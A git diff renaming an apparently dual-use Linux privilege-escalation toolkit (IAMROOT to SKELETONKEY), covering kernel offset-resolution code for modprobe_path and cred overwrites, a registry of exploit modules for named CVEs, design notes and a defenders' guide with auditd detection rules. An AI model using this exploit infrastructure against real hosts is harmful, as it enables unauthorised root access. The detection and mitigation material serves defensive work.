||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||
* → embedded table). This implementation is deliberately small and
|
||||
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
|
||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
|
||||
{
|
||||
switch (src) {
|
||||
case OFFSETS_NONE: return "none";
|
||||
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 1: environment variables
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
static void apply_env(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
const char *v;
|
||||
uintptr_t a;
|
||||
|
||||
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
|
||||
if (!o->kbase) o->kbase = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if (!o->modprobe_path) {
|
||||
o->modprobe_path = a;
|
||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if (!o->init_task) {
|
||||
o->init_task = a;
|
||||
o->source_init_task = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if (!o->init_cred) o->init_cred = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_real) {
|
||||
o->cred_offset_real = (uint32_t)a;
|
||||
o->source_cred = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||
}
|
||||
}
|
||||
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
* the same "ADDR TYPE NAME" format).
|
||||
* ------------------------------------------------------------------ */
|
||||
static int parse_symfile(const char *path,
|
||||
struct iamroot_kernel_offsets *o,
|
||||
enum iamroot_offset_source tag)
|
||||
struct skeletonkey_kernel_offsets *o,
|
||||
enum skeletonkey_offset_source tag)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return 0;
|
||||
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
|
||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||
* if we already have one.
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
static void apply_table(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
if (!o->kernel_release[0]) return;
|
||||
|
||||
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
/* ------------------------------------------------------------------
|
||||
* Top-level resolve()
|
||||
* ------------------------------------------------------------------ */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
|
||||
{
|
||||
memset(out, 0, sizeof *out);
|
||||
|
||||
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
return critical;
|
||||
}
|
||||
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase)
|
||||
{
|
||||
if (!leaked_kbase) return;
|
||||
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
apply_table(off);
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->modprobe_path != 0;
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||
&& off->cred_uid_offset != 0;
|
||||
}
|
||||
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||
off->kernel_release[0] ? off->kernel_release : "?",
|
||||
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||
(unsigned long)off->kbase,
|
||||
(unsigned long)off->modprobe_path,
|
||||
iamroot_offset_source_name(off->source_modprobe));
|
||||
skeletonkey_offset_source_name(off->source_modprobe));
|
||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||
(unsigned long)off->init_task,
|
||||
iamroot_offset_source_name(off->source_init_task),
|
||||
skeletonkey_offset_source_name(off->source_init_task),
|
||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||
iamroot_offset_source_name(off->source_cred));
|
||||
skeletonkey_offset_source_name(off->source_cred));
|
||||
}
|
||||
|
||||
+17
-17
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||
@@ -10,7 +10,7 @@
|
||||
* Those addresses vary per kernel build. This file resolves them at
|
||||
* runtime via a four-source chain:
|
||||
*
|
||||
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
|
||||
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
|
||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||
@@ -22,14 +22,14 @@
|
||||
* pointing the operator at the manual workflow.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_OFFSETS_H
|
||||
#define IAMROOT_OFFSETS_H
|
||||
#ifndef SKELETONKEY_OFFSETS_H
|
||||
#define SKELETONKEY_OFFSETS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
enum iamroot_offset_source {
|
||||
enum skeletonkey_offset_source {
|
||||
OFFSETS_NONE = 0,
|
||||
OFFSETS_FROM_ENV = 1,
|
||||
OFFSETS_FROM_KALLSYMS = 2,
|
||||
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
|
||||
OFFSETS_FROM_TABLE = 4,
|
||||
};
|
||||
|
||||
struct iamroot_kernel_offsets {
|
||||
struct skeletonkey_kernel_offsets {
|
||||
/* Host fingerprint */
|
||||
char kernel_release[128]; /* uname -r */
|
||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||
|
||||
/* Kernel base — needed when offsets are relative-to-_text.
|
||||
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
uintptr_t kbase;
|
||||
|
||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
|
||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||
|
||||
/* Where did each field come from. */
|
||||
enum iamroot_offset_source source_modprobe;
|
||||
enum iamroot_offset_source source_init_task;
|
||||
enum iamroot_offset_source source_cred;
|
||||
enum skeletonkey_offset_source source_modprobe;
|
||||
enum skeletonkey_offset_source source_init_task;
|
||||
enum skeletonkey_offset_source source_cred;
|
||||
};
|
||||
|
||||
/* Best-effort resolution. Returns the number of critical fields
|
||||
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
|
||||
*
|
||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||
* a field already set by an earlier source. */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
|
||||
|
||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||
* shipped as relative-to-_text offsets. Idempotent. */
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase);
|
||||
|
||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Helper: return the name of the source enum. */
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
|
||||
|
||||
#endif /* IAMROOT_OFFSETS_H */
|
||||
#endif /* SKELETONKEY_OFFSETS_H */
|
||||
|
||||
+9
-9
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — module registry implementation
|
||||
* SKELETONKEY — module registry implementation
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
@@ -14,22 +14,22 @@
|
||||
|
||||
#define REGISTRY_CHUNK 16
|
||||
|
||||
static const struct iamroot_module **g_modules = NULL;
|
||||
static const struct skeletonkey_module **g_modules = NULL;
|
||||
static size_t g_count = 0;
|
||||
static size_t g_cap = 0;
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m)
|
||||
void skeletonkey_register(const struct skeletonkey_module *m)
|
||||
{
|
||||
if (m == NULL || m->name == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
|
||||
return;
|
||||
}
|
||||
if (g_count == g_cap) {
|
||||
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
||||
const struct iamroot_module **n =
|
||||
const struct skeletonkey_module **n =
|
||||
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
||||
if (n == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: OOM\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
|
||||
return;
|
||||
}
|
||||
g_modules = n;
|
||||
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
|
||||
g_modules[g_count++] = m;
|
||||
}
|
||||
|
||||
size_t iamroot_module_count(void)
|
||||
size_t skeletonkey_module_count(void)
|
||||
{
|
||||
return g_count;
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_at(size_t i)
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
|
||||
{
|
||||
if (i >= g_count) return NULL;
|
||||
return g_modules[i];
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_find(const char *name)
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
|
||||
{
|
||||
if (name == NULL) return NULL;
|
||||
for (size_t i = 0; i < g_count; i++) {
|
||||
|
||||
+37
-30
@@ -1,44 +1,51 @@
|
||||
/*
|
||||
* IAMROOT — module registry
|
||||
* SKELETONKEY — module registry
|
||||
*
|
||||
* Global list of registered modules. Each family contributes via
|
||||
* register_<family>_modules() called from iamroot main() at startup.
|
||||
* register_<family>_modules() called from skeletonkey main() at startup.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_REGISTRY_H
|
||||
#define IAMROOT_REGISTRY_H
|
||||
#ifndef SKELETONKEY_REGISTRY_H
|
||||
#define SKELETONKEY_REGISTRY_H
|
||||
|
||||
#include "module.h"
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m);
|
||||
void skeletonkey_register(const struct skeletonkey_module *m);
|
||||
|
||||
size_t iamroot_module_count(void);
|
||||
const struct iamroot_module *iamroot_module_at(size_t i);
|
||||
size_t skeletonkey_module_count(void);
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
|
||||
|
||||
/* Find a module by name. Returns NULL if not found. */
|
||||
const struct iamroot_module *iamroot_module_find(const char *name);
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
|
||||
|
||||
/* Each module family declares one of these in its public header. The
|
||||
* top-level iamroot main() calls them in order at startup. */
|
||||
void iamroot_register_copy_fail_family(void);
|
||||
void iamroot_register_dirty_pipe(void);
|
||||
void iamroot_register_entrybleed(void);
|
||||
void iamroot_register_pwnkit(void);
|
||||
void iamroot_register_nf_tables(void);
|
||||
void iamroot_register_overlayfs(void);
|
||||
void iamroot_register_cls_route4(void);
|
||||
void iamroot_register_dirty_cow(void);
|
||||
void iamroot_register_ptrace_traceme(void);
|
||||
void iamroot_register_netfilter_xtcompat(void);
|
||||
void iamroot_register_af_packet(void);
|
||||
void iamroot_register_fuse_legacy(void);
|
||||
void iamroot_register_stackrot(void);
|
||||
void iamroot_register_af_packet2(void);
|
||||
void iamroot_register_cgroup_release_agent(void);
|
||||
void iamroot_register_overlayfs_setuid(void);
|
||||
void iamroot_register_nft_set_uaf(void);
|
||||
void iamroot_register_af_unix_gc(void);
|
||||
void iamroot_register_nft_fwd_dup(void);
|
||||
void iamroot_register_nft_payload(void);
|
||||
* top-level skeletonkey main() calls them in order at startup. */
|
||||
void skeletonkey_register_copy_fail_family(void);
|
||||
void skeletonkey_register_dirty_pipe(void);
|
||||
void skeletonkey_register_entrybleed(void);
|
||||
void skeletonkey_register_pwnkit(void);
|
||||
void skeletonkey_register_nf_tables(void);
|
||||
void skeletonkey_register_overlayfs(void);
|
||||
void skeletonkey_register_cls_route4(void);
|
||||
void skeletonkey_register_dirty_cow(void);
|
||||
void skeletonkey_register_ptrace_traceme(void);
|
||||
void skeletonkey_register_netfilter_xtcompat(void);
|
||||
void skeletonkey_register_af_packet(void);
|
||||
void skeletonkey_register_fuse_legacy(void);
|
||||
void skeletonkey_register_stackrot(void);
|
||||
void skeletonkey_register_af_packet2(void);
|
||||
void skeletonkey_register_cgroup_release_agent(void);
|
||||
void skeletonkey_register_overlayfs_setuid(void);
|
||||
void skeletonkey_register_nft_set_uaf(void);
|
||||
void skeletonkey_register_af_unix_gc(void);
|
||||
void skeletonkey_register_nft_fwd_dup(void);
|
||||
void skeletonkey_register_nft_payload(void);
|
||||
void skeletonkey_register_sudo_samedit(void);
|
||||
void skeletonkey_register_sequoia(void);
|
||||
void skeletonkey_register_sudoedit_editor(void);
|
||||
void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
|
||||
#endif /* IAMROOT_REGISTRY_H */
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
+54
-12
@@ -14,7 +14,7 @@ modules/<module_name>/
|
||||
├── MODULE.md # Human-readable writeup of the bug
|
||||
├── NOTICE.md # Credits to original researcher
|
||||
├── kernel-range.json # Machine-readable affected kernels
|
||||
├── module.c # Implements iamroot_module interface
|
||||
├── module.c # Implements skeletonkey_module interface
|
||||
├── module.h
|
||||
├── detect/
|
||||
│ ├── auditd.rules # blue team detection
|
||||
@@ -24,10 +24,10 @@ modules/<module_name>/
|
||||
└── tests/ # per-module tests (run in CI matrix)
|
||||
```
|
||||
|
||||
### `iamroot_module` interface (planned, Phase 1)
|
||||
### `skeletonkey_module` interface (planned, Phase 1)
|
||||
|
||||
```c
|
||||
struct iamroot_module {
|
||||
struct skeletonkey_module {
|
||||
const char *name; /* "copy_fail" */
|
||||
const char *cve; /* "CVE-2026-31431" */
|
||||
const char *summary; /* one-line description */
|
||||
@@ -35,29 +35,29 @@ struct iamroot_module {
|
||||
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
||||
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
||||
* etc. from core/ if a leak primitive is needed. */
|
||||
int (*detect)(struct iamroot_host *host);
|
||||
int (*detect)(struct skeletonkey_host *host);
|
||||
|
||||
/* Run the exploit. Caller has already passed the
|
||||
* authorization gate. Returns 0 on root acquired,
|
||||
* nonzero on failure. */
|
||||
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
|
||||
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
|
||||
|
||||
/* Apply a runtime mitigation for this CVE (sysctl, module
|
||||
* blacklist, etc.). Returns 0 on success. NULL if no
|
||||
* mitigation is offered. */
|
||||
int (*mitigate)(struct iamroot_host *host);
|
||||
int (*mitigate)(struct skeletonkey_host *host);
|
||||
|
||||
/* Undo --exploit-backdoor or --mitigate side effects. */
|
||||
int (*cleanup)(struct iamroot_host *host);
|
||||
int (*cleanup)(struct skeletonkey_host *host);
|
||||
|
||||
/* Affected kernel version range, distros covered, etc. */
|
||||
const struct iamroot_kernel_range *ranges;
|
||||
const struct skeletonkey_kernel_range *ranges;
|
||||
size_t n_ranges;
|
||||
};
|
||||
```
|
||||
|
||||
Modules register themselves at link time via a constructor-attribute
|
||||
table. The top-level `iamroot` binary iterates the registry on each
|
||||
table. The top-level `skeletonkey` binary iterates the registry on each
|
||||
invocation.
|
||||
|
||||
## Shared `core/`
|
||||
@@ -78,11 +78,15 @@ Code that more than one module needs lives in `core/`:
|
||||
|
||||
## Top-level dispatcher
|
||||
|
||||
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||
|
||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||
`--detect-rules`, `--cleanup`, etc.)
|
||||
2. Fingerprint the host
|
||||
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||
distro + capability gates + service presence). The result is
|
||||
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||
below.
|
||||
3. For `--scan`: iterate module registry, call each module's
|
||||
`detect()`, emit table of results
|
||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||
files in the requested format
|
||||
|
||||
## Host fingerprint (`core/host.{h,c}`)
|
||||
|
||||
A single `struct skeletonkey_host` is populated once at startup and
|
||||
exposed to every module via `ctx->host` (a stable pointer for the
|
||||
process lifetime). It carries:
|
||||
|
||||
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||
is_ssh_session.
|
||||
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||
is_arch_family, is_suse_family.
|
||||
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||
yama_ptrace_restricted.
|
||||
- **System services:** has_systemd, has_dbus_system.
|
||||
|
||||
Modules that want to consult the fingerprint do:
|
||||
|
||||
```c
|
||||
#include "../../core/host.h"
|
||||
/* ... */
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
if (ctx->host->kernel.major < 7)
|
||||
return SKELETONKEY_OK; /* predates the bug */
|
||||
```
|
||||
|
||||
The migration is opt-in per module — modules that don't `#include`
|
||||
host.h continue to do their own probes; modules that do save the
|
||||
duplicate work and get a consistent view across the whole scan.
|
||||
|
||||
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||
can see at a glance which gates are open.
|
||||
|
||||
## CI matrix
|
||||
|
||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||
@@ -109,7 +151,7 @@ the module).
|
||||
1. `git checkout -b add-cve-XXXX-NNNN`
|
||||
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
||||
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
||||
4. Implement `module.c` exposing the `iamroot_module` interface
|
||||
4. Implement `module.c` exposing the `skeletonkey_module` interface
|
||||
5. Ship at least one detection rule under `detect/`
|
||||
6. Add tests under `tests/`
|
||||
7. PR. CI runs the matrix. If it lands root on at least one
|
||||
|
||||
+34
-34
@@ -1,25 +1,25 @@
|
||||
# IAMROOT for defenders
|
||||
# SKELETONKEY for defenders
|
||||
|
||||
IAMROOT is dual-use: the same binary that runs exploits also ships the
|
||||
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
|
||||
detection rules to spot them. This document is for the blue team.
|
||||
|
||||
## TL;DR
|
||||
|
||||
```bash
|
||||
# 1. Detect what you're vulnerable to (no system modification)
|
||||
sudo iamroot --scan --json | jq .
|
||||
sudo skeletonkey --scan --json | jq .
|
||||
|
||||
# 2. Deploy detection rules covering every bundled CVE
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo systemctl restart auditd
|
||||
|
||||
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
||||
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||
|
||||
# 4. Watch
|
||||
sudo ausearch -k iamroot-copy-fail -ts recent
|
||||
sudo ausearch -k iamroot-dirty-pipe -ts recent
|
||||
sudo ausearch -k iamroot-pwnkit -ts recent
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts recent
|
||||
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts recent
|
||||
```
|
||||
|
||||
## Why a single tool for offense and defense
|
||||
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
|
||||
Public LPE PoCs ship without detection rules. Public detection rules
|
||||
ship without test corpora. The gap means defenders deploy rules they
|
||||
never validate against a real exploit, and attackers iterate against
|
||||
defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
|
||||
|
||||
- Each module ships an exploit AND the detection rules that catch it.
|
||||
- Every CVE in `CVES.md` has a row in the rule corpus.
|
||||
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||
### Inventory what's bundled
|
||||
|
||||
```bash
|
||||
iamroot --list
|
||||
skeletonkey --list
|
||||
```
|
||||
|
||||
Prints every registered module with CVE, family, and one-line summary.
|
||||
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
|
||||
### Run all detectors
|
||||
|
||||
```bash
|
||||
iamroot --scan # human-readable
|
||||
iamroot --scan --json # one JSON object → SIEM ingest
|
||||
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||
skeletonkey --scan # human-readable
|
||||
skeletonkey --scan --json # one JSON object → SIEM ingest
|
||||
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||
```
|
||||
|
||||
Result codes per module:
|
||||
@@ -63,23 +63,23 @@ Result codes per module:
|
||||
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
||||
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
||||
|
||||
`iamroot --scan` returns the WORST result code across all modules.
|
||||
`skeletonkey --scan` returns the WORST result code across all modules.
|
||||
Use this in CI to fail builds that produce vulnerable images.
|
||||
|
||||
### Deploy detection rules
|
||||
|
||||
```bash
|
||||
# auditd (most environments)
|
||||
sudo iamroot --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load # or systemctl restart auditd
|
||||
|
||||
# Sigma (for SIEMs that ingest sigma)
|
||||
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
|
||||
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
|
||||
|
||||
# YARA / Falco — placeholders for future modules; currently empty
|
||||
iamroot --detect-rules --format=yara
|
||||
iamroot --detect-rules --format=falco
|
||||
skeletonkey --detect-rules --format=yara
|
||||
skeletonkey --detect-rules --format=falco
|
||||
```
|
||||
|
||||
Rules are emitted in registry order, deduplicated by string-pointer:
|
||||
@@ -91,19 +91,19 @@ auditd config).
|
||||
|
||||
| Key | Modules | What it catches |
|
||||
|---|---|---|
|
||||
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||
| `iamroot-pwnkit` | pwnkit | pkexec watch |
|
||||
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
|
||||
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||
|
||||
Search:
|
||||
|
||||
```bash
|
||||
sudo ausearch -k iamroot-copy-fail -ts today
|
||||
sudo ausearch -k iamroot-pwnkit -ts today
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||
```
|
||||
|
||||
### Mitigate (pre-patch)
|
||||
@@ -114,10 +114,10 @@ distro-portable workarounds:
|
||||
```bash
|
||||
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
||||
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
||||
sudo iamroot --mitigate copy_fail
|
||||
sudo skeletonkey --mitigate copy_fail
|
||||
|
||||
# Revert mitigation (e.g., before applying the real kernel patch)
|
||||
sudo iamroot --cleanup copy_fail
|
||||
